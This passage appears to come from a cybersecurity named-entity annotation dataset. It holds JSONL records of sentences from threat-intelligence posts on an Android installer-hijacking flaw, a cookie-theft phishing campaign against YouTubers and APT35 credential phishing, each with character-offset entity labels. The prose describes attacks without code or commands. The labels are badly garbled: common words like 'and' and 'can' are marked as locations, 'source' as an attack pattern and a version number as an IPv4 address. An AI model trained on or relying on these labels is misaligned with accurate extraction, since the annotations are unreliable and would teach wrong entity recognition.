users.","entities":[{"id":24565,"label":"location","start_offset":5,"end_offset":9},{"id":24567,"label":"location","start_offset":120,"end_offset":123},{"id":24568,"label":"location","start_offset":176,"end_offset":182}],"relations":[],"Comments":[]} -{"id":7928,"text":"In detail: In January 2014, we uncovered a Time-of-Check to Time-of-Use (TOCTTOU) vulnerability in Android OS that permits an attacker to hijack the ordinary Android APK installation process.","entities":[{"id":24571,"label":"location","start_offset":44,"end_offset":48},{"id":24572,"label":"location","start_offset":52,"end_offset":57},{"id":24573,"label":"location","start_offset":61,"end_offset":65},{"id":24574,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]} -{"id":7929,"text":"This hijacking technique can be used to bypass the user view and distribute malware with arbitrary permissions.","entities":[{"id":24575,"label":"location","start_offset":25,"end_offset":28},{"id":24576,"label":"location","start_offset":56,"end_offset":60},{"id":24577,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]} -{"id":7930,"text":"It can substitute one application with another, for instance if a user tries to install a legitimate version of “Angry Birds” and ends up with a Flashlight app that’s running malware.","entities":[{"id":24578,"label":"location","start_offset":3,"end_offset":6},{"id":24579,"label":"location","start_offset":18,"end_offset":21},{"id":24581,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]} -{"id":7931,"text":"We are calling the technique that exploits this vulnerability Android Installer Hijacking.","entities":[{"id":24583,"label":"location","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]} -{"id":7932,"text":"We have been cooperating with Google and major manufacturers such as Samsung and Amazon to patch affected Android devices.","entities":[{"id":24585,"label":"location","start_offset":37,"end_offset":40},{"id":24586,"label":"location","start_offset":41,"end_offset":46},{"id":24588,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]} {"id":7933,"text":"In order to understand how this works, let’s first take a look at how Android installs apps.","entities":[],"relations":[],"Comments":[]} {"id":7934,"text":"Android supports the ability to install apps from the Google Play store as well as from the local file system.","entities":[],"relations":[],"Comments":[]} {"id":7935,"text":"Google Play downloads Android packages (APKs) to a protected space of the file system.","entities":[],"relations":[],"Comments":[]} -{"id":7936,"text":" Third party app stores and mobile advertisement libraries usually download APK files to unprotected local storage (e.g. \/sdcard\/) and install the APK files directly.","entities":[{"id":24593,"label":"location","start_offset":24,"end_offset":27},{"id":24594,"label":"location","start_offset":28,"end_offset":34},{"id":24595,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]} {"id":7937,"text":"Both methods use a system application called PackageInstaller to complete the installation.","entities":[],"relations":[],"Comments":[]} -{"id":7938,"text":"On affected platforms, we discovered that the PackageInstaller has a “Time of Check” to “Time of Use” vulnerability.","entities":[{"id":24596,"label":"location","start_offset":70,"end_offset":74},{"id":24597,"label":"location","start_offset":78,"end_offset":83},{"id":24598,"label":"location","start_offset":89,"end_offset":93}],"relations":[],"Comments":[]} -{"id":7939,"text":"In layman’s terms, that simply means that the APK file can be modified or replaced during installation without the user’s knowledge.","entities":[{"id":24599,"label":"location","start_offset":31,"end_offset":36},{"id":24600,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":7940,"text":"The Installer Hijacking vulnerability affects APK files downloaded to unprotected local storage only because the protected space of Play Store app cannot be accessed by other installed apps.","entities":[{"id":24601,"label":"location","start_offset":96,"end_offset":100},{"id":24602,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]} {"id":7941,"text":"Let’s take a closer look at what happens.","entities":[],"relations":[],"Comments":[]} -{"id":7942,"text":" On Android, there are many ways to trigger the app installation process, for example, when the user clicks a downloaded APK file, or when the user downloads an app from a third party app store app, or when the user clicks on an app promotion advertisement hosted by a mobile advertisement library.","entities":[{"id":24603,"label":"location","start_offset":19,"end_offset":22},{"id":24604,"label":"location","start_offset":23,"end_offset":27},{"id":24605,"label":"location","start_offset":269,"end_offset":275},{"id":24606,"label":"location","start_offset":290,"end_offset":297}],"relations":[],"Comments":[]} -{"id":7943,"text":"No matter which way an APK installation process is triggered, it always follows the same procedure: First, the system service PackageInstaller starts the installation process by parsing the APK file and retrieves critical information about the app, such as the app name, app icon and the security permissions that the app requests.","entities":[{"id":24607,"label":"location","start_offset":16,"end_offset":19},{"id":24608,"label":"location","start_offset":84,"end_offset":88},{"id":24610,"label":"location","start_offset":200,"end_offset":203},{"id":24611,"label":"location","start_offset":281,"end_offset":284},{"id":24612,"label":"location","start_offset":289,"end_offset":297}],"relations":[],"Comments":[]} -{"id":7944,"text":"This is presented to the user in a PackageInstallerActivity view on the screen, as seen below Fig 1: Fig 1.","entities":[{"id":24613,"label":"location","start_offset":60,"end_offset":64},{"id":24614,"label":"location","start_offset":94,"end_offset":97},{"id":24616,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} -{"id":7945,"text":"User reviews the detail information of app to be installed (i.e. “Time to Check”)","entities":[{"id":24618,"label":"location","start_offset":66,"end_offset":70},{"id":24619,"label":"location","start_offset":74,"end_offset":79}],"relations":[],"Comments":[]} -{"id":7946,"text":" This is the “Time to Check”, because it verifies that the user really wants to install the app, and tells the user what permissions that they are authorizing the app to perform.","entities":[{"id":24620,"label":"location","start_offset":14,"end_offset":18},{"id":24621,"label":"location","start_offset":22,"end_offset":27},{"id":24622,"label":"location","start_offset":97,"end_offset":100},{"id":24623,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]} -{"id":7947,"text":"All Android apps perform this step, and the user clicks “Next” to view the full list of permissions, and then clicks “Install” to continue the installation process (as in Fig 1). A vulnerability exists in this process because while the user is reviewing this information, the attacker can modify or replace the package in the background.","entities":[{"id":24624,"label":"location","start_offset":36,"end_offset":39},{"id":24625,"label":"location","start_offset":66,"end_offset":70},{"id":24626,"label":"location","start_offset":80,"end_offset":84},{"id":24627,"label":"location","start_offset":101,"end_offset":104},{"id":24628,"label":"location","start_offset":171,"end_offset":174},{"id":24630,"label":"location","start_offset":286,"end_offset":289}],"relations":[],"Comments":[]} {"id":7948,"text":"Verified with Android OS source code posted in AOSP, it shows that the PackageInstaller on affected versions does not verify the APK file at the “Time of Use”.","entities":[{"id":24631,"label":"attack-pattern","start_offset":25,"end_offset":31},{"id":24632,"label":"location","start_offset":146,"end_offset":150}],"relations":[],"Comments":[]} -{"id":7949,"text":" Thus, in the “Time of Use” (i.e., after clicking the “Install” button), the PackageInstaller can actually install a different app with an entirely different set of permissions.","entities":[{"id":24633,"label":"location","start_offset":15,"end_offset":19},{"id":24634,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]} -{"id":7950,"text":" This vulnerability can be exploited in multiple ways: Method A: Externally modifying the APK The attacker can use a benign-looking app to install malware in the future.","entities":[{"id":24635,"label":"location","start_offset":20,"end_offset":23},{"id":24636,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]} {"id":7951,"text":"This method has several stages:","entities":[],"relations":[],"Comments":[]} -{"id":7952,"text":" One tricky question with Method A would be how the App X detects that the PackageInstallerActivity view has been launched.","entities":[{"id":24637,"label":"location","start_offset":1,"end_offset":4},{"id":24638,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]} -{"id":7953,"text":"There are two approaches here:","entities":[{"id":24639,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]} {"id":7954,"text":" Method B: Self modifying the APK This exploit can take advantage of the same vulnerability to mask what permissions the app really requires. This vulnerability affects Android device users as well as Android app developers. For Android device users, the users may end up with installing apps that are not the ones they agree to install. Android app developers are also affected, because app-store apps and mobile ads libraries that do not rely on Google Play store would be likely to save the promoted apps in unprotected storage, e.g. \/sdcard.","entities":[{"id":24641,"label":"location","start_offset":48,"end_offset":51},{"id":24642,"label":"location","start_offset":74,"end_offset":78},{"id":24643,"label":"threat-actor","start_offset":96,"end_offset":100},{"id":24644,"label":"location","start_offset":264,"end_offset":267},{"id":24645,"label":"location","start_offset":301,"end_offset":304},{"id":24646,"label":"location","start_offset":365,"end_offset":368},{"id":24647,"label":"location","start_offset":407,"end_offset":410},{"id":24648,"label":"location","start_offset":411,"end_offset":417},{"id":24649,"label":"location","start_offset":479,"end_offset":485},{"id":24650,"label":"location","start_offset":489,"end_offset":493}],"relations":[],"Comments":[]} -{"id":7955,"text":"Like the example we show with Amazon appstore app, the unprotected storage in \/sdcard may allow attackers to replace the promoted apps with malware apps.","entities":[{"id":24652,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} -{"id":7956,"text":" We have successfully tested both exploits against Android 2.3, 4.0.3-4.0.4, 4.1.X, and 4.2.x.","entities":[{"id":24653,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7957,"text":"According to Android Dashboard, this vulnerability affected approximately 89.4 percent of the Android population as of January 2014 (when we first discovered it), and approximately 49.5 percent of the Android population as of March 2015.","entities":[{"id":24656,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]} -{"id":7958,"text":" These exploits do not require the device to be rooted, but rooted devices are more vulnerable.","entities":[{"id":24659,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]} -{"id":7959,"text":"Be aware that some phone vendors’ Android 4.3 distributions may contain this vulnerability as well.","entities":[{"id":24660,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]} {"id":7960,"text":" According to source code posted on the AOSP website, Android 4.3_r0.9 introduced a hash check of the Android manifest that is verified between “Time to Check” and “Time to Use”.","entities":[{"id":24661,"label":"attack-pattern","start_offset":14,"end_offset":20},{"id":24662,"label":"location","start_offset":89,"end_offset":94},{"id":24663,"label":"location","start_offset":110,"end_offset":118},{"id":24664,"label":"location","start_offset":136,"end_offset":143},{"id":24665,"label":"location","start_offset":145,"end_offset":149},{"id":24666,"label":"location","start_offset":153,"end_offset":158},{"id":24667,"label":"location","start_offset":160,"end_offset":163},{"id":24668,"label":"location","start_offset":165,"end_offset":169}],"relations":[],"Comments":[]} -{"id":7961,"text":"However, we have found that there are some phone vendors’ Android 4.3 distributions that do not include this check.","entities":[{"id":24669,"label":"location","start_offset":34,"end_offset":37},{"id":24670,"label":"location","start_offset":109,"end_offset":114}],"relations":[],"Comments":[]} {"id":7962,"text":"For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.","entities":[{"id":24674,"label":"location","start_offset":171,"end_offset":174},{"id":24676,"label":"IPV4","start_offset":198,"end_offset":206}],"relations":[],"Comments":[]} -{"id":7963,"text":"Both Samsung and Amazon have released fixed on their affected devices after receiving our vulnerability reports.","entities":[{"id":24677,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]} {"id":7964,"text":" We encourage all Android device vendors to verify the existence of this vulnerability on their devices including those with Android 4.3.","entities":[],"relations":[],"Comments":[]} -{"id":7965,"text":" Android version 4.4 and later versions have fixed this vulnerability.","entities":[{"id":24679,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]} {"id":7966,"text":" Palo Alto Networks has published a vulnerability scanner app in the Google Play store.","entities":[],"relations":[],"Comments":[]} -{"id":7967,"text":"Also, we have recorded a tutorial video about how to check the existence of installer hijacking vulnerability with our vulnerability scanner app, available here.","entities":[{"id":24681,"label":"location","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]} -{"id":7968,"text":" To facilitate security researchers and other vendors, we have also open sourced the vulnerability scanner app on Github at https:\/\/github.com\/PaloAltoNetworks-BD\/InstallerHijackingVulnerabilityScanner.","entities":[{"id":24682,"label":"location","start_offset":15,"end_offset":23},{"id":24683,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} -{"id":7969,"text":" Enterprises concerned about the risk should take the following steps: App developers concerned about the risk should save the downloaded APK files to protected storage space only.","entities":[{"id":24685,"label":"location","start_offset":119,"end_offset":123},{"id":24686,"label":"location","start_offset":176,"end_offset":180}],"relations":[],"Comments":[]} {"id":7970,"text":" From Google: “Android Open Source Project includes patches for this issue for Android 4.3 and later.","entities":[{"id":24688,"label":"attack-pattern","start_offset":29,"end_offset":35},{"id":24689,"label":"location","start_offset":70,"end_offset":75},{"id":24690,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]} -{"id":7971,"text":" The patch is available for review here: https:\/\/android.googlesource.com\/platform\/packages\/apps\/PackageInstaller\/+\/2b3202c3ff18469b294629bf1416118f12492173 The Android Security Team has not detected any attempts to exploit this vulnerability on user devices.” ","entities":[{"id":24692,"label":"location","start_offset":171,"end_offset":179}],"relations":[],"Comments":[]} -{"id":7972,"text":"From Amazon: \"Customers should move to the latest version of the Amazon AppStore which gets updated automatically on Fire devices and for 3rd party Android devices it can be updated via www.amazon.com\/getappstore.\"","entities":[{"id":24694,"label":"location","start_offset":131,"end_offset":134},{"id":24695,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]} -{"id":7973,"text":"We would like to thank Ryan Olson, Huagang Xie, Claud Xiao, Colt Blackmore, and Taylor Ettema from Palo Alto Networks for their great help in verifying the vulnerability and communicating with vendors.","entities":[{"id":24701,"label":"location","start_offset":76,"end_offset":79},{"id":24704,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]} -{"id":7974,"text":"We also greatly appreciate the help from Scott Simkin, JL Watkins, Baoyue Hu, and Erik Jacobsen from Palo Alto Networks in publishing the discovery and building the scanner app.","entities":[{"id":24708,"label":"location","start_offset":78,"end_offset":81},{"id":24711,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]} -{"id":7975,"text":"We appreciate the cooperation with Samsung Knox team, Google Android Security team, and Amazon Web Services & Lab126 for working with us on verifying and patching this vulnerability.","entities":[{"id":24715,"label":"location","start_offset":69,"end_offset":77},{"id":24716,"label":"location","start_offset":84,"end_offset":87},{"id":24718,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]} -{"id":7976,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! ","entities":[{"id":24719,"label":"location","start_offset":63,"end_offset":66},{"id":24720,"label":"location","start_offset":92,"end_offset":97},{"id":24721,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]} -{"id":7977,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":24722,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":7978,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":24724,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":7979,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":24726,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]} {"id":7980,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":24728,"label":"location","start_offset":23,"end_offset":31},{"id":24730,"label":"location","start_offset":113,"end_offset":117},{"id":24731,"label":"location","start_offset":124,"end_offset":130},{"id":24732,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]} {"id":7981,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":24737,"label":"location","start_offset":85,"end_offset":88},{"id":24739,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]} {"id":7982,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":24745,"label":"location","start_offset":52,"end_offset":56},{"id":24746,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":24747,"label":"location","start_offset":75,"end_offset":79},{"id":24750,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} -{"id":7983,"text":"With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":24756,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]} {"id":7984,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]} -{"id":7985,"text":"In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.","entities":[{"id":24759,"label":"location","start_offset":68,"end_offset":71},{"id":24760,"label":"location","start_offset":98,"end_offset":102},{"id":24761,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]} {"id":7986,"text":"Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":24762,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]} -{"id":7987,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":24764,"label":"location","start_offset":73,"end_offset":81},{"id":24765,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]} -{"id":7988,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[{"id":24766,"label":"location","start_offset":1,"end_offset":5}],"relations":[],"Comments":[]} -{"id":7989,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[{"id":24768,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} {"id":7990,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":24769,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":24770,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]} {"id":7991,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":24771,"label":"location","start_offset":9,"end_offset":15},{"id":24772,"label":"location","start_offset":30,"end_offset":34},{"id":24773,"label":"location","start_offset":46,"end_offset":53},{"id":24774,"label":"location","start_offset":54,"end_offset":58},{"id":24776,"label":"location","start_offset":141,"end_offset":144},{"id":24778,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]} -{"id":7992,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[{"id":24780,"label":"location","start_offset":46,"end_offset":50},{"id":24781,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]} -{"id":7993,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[{"id":24782,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]} -{"id":7994,"text":"To date, we’ve identified at least 1,011 domains created solely for this purpose.","entities":[{"id":24783,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]} -{"id":7995,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":24785,"label":"location","start_offset":54,"end_offset":59},{"id":24789,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} {"id":7996,"text":"During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”","entities":[],"relations":[],"Comments":[]} -{"id":7997,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[{"id":24792,"label":"location","start_offset":7,"end_offset":11},{"id":24793,"label":"location","start_offset":39,"end_offset":44},{"id":24794,"label":"location","start_offset":45,"end_offset":49},{"id":24795,"label":"location","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]} -{"id":7998,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":24796,"label":"location","start_offset":49,"end_offset":53},{"id":24797,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]} {"id":7999,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":24799,"label":"location","start_offset":32,"end_offset":35},{"id":24800,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]} -{"id":8000,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.","entities":[{"id":24805,"label":"location","start_offset":10,"end_offset":16},{"id":24806,"label":"location","start_offset":126,"end_offset":129},{"id":24807,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]} -{"id":8001,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[{"id":24808,"label":"location","start_offset":14,"end_offset":18},{"id":24809,"label":"location","start_offset":30,"end_offset":33},{"id":24810,"label":"location","start_offset":103,"end_offset":106},{"id":24811,"label":"location","start_offset":145,"end_offset":149},{"id":24812,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]} -{"id":8002,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[{"id":24813,"label":"location","start_offset":75,"end_offset":78},{"id":24814,"label":"location","start_offset":109,"end_offset":113},{"id":24815,"label":"location","start_offset":114,"end_offset":117},{"id":24816,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]} -{"id":8003,"text":"We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.","entities":[{"id":24817,"label":"location","start_offset":88,"end_offset":92},{"id":24818,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} {"id":8004,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.","entities":[{"id":24823,"label":"malware","start_offset":79,"end_offset":86},{"id":24830,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]} {"id":8005,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":24834,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":24836,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]} -{"id":8006,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[{"id":24837,"label":"location","start_offset":15,"end_offset":18},{"id":24838,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]} -{"id":8007,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[{"id":24839,"label":"location","start_offset":0,"end_offset":4},{"id":24840,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":8008,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[{"id":24841,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} {"id":8009,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]} -{"id":8010,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[{"id":24842,"label":"location","start_offset":3,"end_offset":8}],"relations":[],"Comments":[]} -{"id":8011,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[{"id":24843,"label":"location","start_offset":34,"end_offset":37},{"id":24844,"label":"location","start_offset":38,"end_offset":45},{"id":24845,"label":"location","start_offset":108,"end_offset":113},{"id":24846,"label":"location","start_offset":137,"end_offset":145},{"id":24847,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]} -{"id":8012,"text":"The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.","entities":[{"id":24848,"label":"location","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]} {"id":8013,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]} -{"id":8014,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[{"id":24849,"label":"location","start_offset":49,"end_offset":53},{"id":24851,"label":"location","start_offset":125,"end_offset":128},{"id":24853,"label":"location","start_offset":187,"end_offset":192},{"id":24854,"label":"location","start_offset":280,"end_offset":285},{"id":24855,"label":"location","start_offset":299,"end_offset":305}],"relations":[],"Comments":[]} -{"id":8015,"text":" We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":24856,"label":"location","start_offset":4,"end_offset":7},{"id":24857,"label":"location","start_offset":53,"end_offset":56},{"id":24858,"label":"location","start_offset":80,"end_offset":83},{"id":24859,"label":"location","start_offset":121,"end_offset":124},{"id":24860,"label":"location","start_offset":125,"end_offset":129},{"id":24861,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]} -{"id":8016,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[{"id":24862,"label":"location","start_offset":107,"end_offset":110},{"id":24863,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]} {"id":8017,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":24864,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]} {"id":8018,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":24865,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]} -{"id":8019,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":24867,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":8020,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":24868,"label":"location","start_offset":10,"end_offset":14},{"id":24869,"label":"location","start_offset":89,"end_offset":95},{"id":24870,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]} -{"id":8021,"text":"So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.","entities":[{"id":24874,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8022,"text":"This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.","entities":[{"id":24876,"label":"location","start_offset":51,"end_offset":56},{"id":24877,"label":"location","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]} -{"id":8023,"text":"We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.","entities":[{"id":24881,"label":"location","start_offset":65,"end_offset":68},{"id":24882,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]} {"id":8024,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]} -{"id":8025,"text":"This means that there is typically more than one threat actor behind the warnings.","entities":[{"id":24887,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]} {"id":8026,"text":"In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":24889,"label":"location","start_offset":37,"end_offset":41},{"id":24893,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]} -{"id":8027,"text":"This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.","entities":[{"id":24894,"label":"location","start_offset":12,"end_offset":15},{"id":24897,"label":"location","start_offset":71,"end_offset":76},{"id":24898,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]} -{"id":8028,"text":"For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":24900,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} {"id":8029,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":24903,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":24905,"label":"location","start_offset":64,"end_offset":74},{"id":24906,"label":"location","start_offset":78,"end_offset":82},{"id":24907,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]} -{"id":8030,"text":"Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.","entities":[{"id":24908,"label":"location","start_offset":60,"end_offset":67},{"id":24911,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} {"id":8031,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]} {"id":8032,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[{"id":24913,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":24914,"label":"location","start_offset":17,"end_offset":21}],"relations":[],"Comments":[]} {"id":8033,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":24916,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":24918,"label":"location","start_offset":93,"end_offset":101},{"id":24920,"label":"location","start_offset":137,"end_offset":140},{"id":24921,"label":"location","start_offset":141,"end_offset":149},{"id":24922,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]} {"id":8034,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of 